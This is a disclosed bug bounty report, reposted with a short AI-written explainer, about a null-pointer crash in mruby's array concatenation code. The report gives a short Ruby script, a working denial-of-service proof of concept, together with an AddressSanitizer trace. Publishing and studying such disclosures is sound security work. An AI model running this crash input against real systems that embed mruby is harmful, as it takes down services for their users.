Skip to content
DoS Disclosed report Advanced

SEGV on ary_concat

A crafted Ruby script using a return inside an each block combined with an ensure clause causes mruby to dereference a null pointer in the array concatenation code. An attacker who can supply Ruby code to mruby could crash the interpreter.

ahihi Follow

Originally disclosed on HackerOne

Bounty$800 View original
  • Triaged in 6 days
  • Fixed in 10 days
  • Paid in 10 days
  • Disclosed after 40 days

The following input demonstrates a crash:

def z
 return * begin
   [0].each do
    return
   end
 rescue => x
   ensure
   x.backtrace
 end
end
z

ASAN report

./mruby/bin/mruby asd.rb
ASAN:DEADLYSIGNAL
=================================================================
==43761==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00010541ceea bp 0x7ffeea8432d0 sp 0x7ffeea8430b0 T0)
==43761==The signal is caused by a READ memory access.
==43761==Hint: address points to the zero page.
    #0 0x10541cee9 in ary_concat array.c:293
    #1 0x10541ccfa in mrb_ary_concat array.c:312
    #2 0x1054799a9 in mrb_vm_exec vm.c:2634
    #3 0x105450034 in mrb_vm_run vm.c:933
    #4 0x105486f5c in mrb_top_run vm.c:2974
    #5 0x105645ac0 in mrb_load_exec parse.y:5840
    #6 0x1056468e5 in mrb_load_file_cxt parse.y:5849
    #7 0x1053b596c in main mruby.c:227
    #8 0x7fff7ab3e144 in start (libdyld.dylib:x86_64+0x1144)

==43761==Register values:
rax = 0x0000000000000000  rbx = 0x00007ffeea843340  rcx = 0x0000100000000000  rdx = 0x0000000000000000
rdi = 0x0000614000000000  rsi = 0x0000100000000000  rbp = 0x00007ffeea8432d0  rsp = 0x00007ffeea8430b0
 r8 = 0x00001fffdd508664   r9 = 0x00007ffeea843320  r10 = 0x0000000106571788  r11 = 0xae48a47313800041
r12 = 0x00007ffeea84a3e0  r13 = 0x00007ffeea84a400  r14 = 0x00001fffdd50947c  r15 = 0x0000100000000000
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV array.c:293 in ary_concat
==43761==ABORTING
Abort trap: 6

Impact

Crashed on both mruby and mirb.

The original report as published on HackerOne, by ahihi. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the interpreter mishandles the value returned from an ensure block during a non-local return, leaving a null array that ary_concat then reads.

Impact

The interpreter crashes on both mruby and mirb when running this script.

What the attacker needed

Ability to run Ruby code in mruby

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

mruby is a small version of the Ruby programming language that can be embedded in other programs. A particular combination of language features (a return inside a loop, wrapped in an ensure block) makes the interpreter follow a bad pointer and crash. This is a denial-of-service: the program stops working, but nothing is stolen or changed.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by ahihi

View all

10 more disclosed reports, best first.

More from shopify-scripts

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.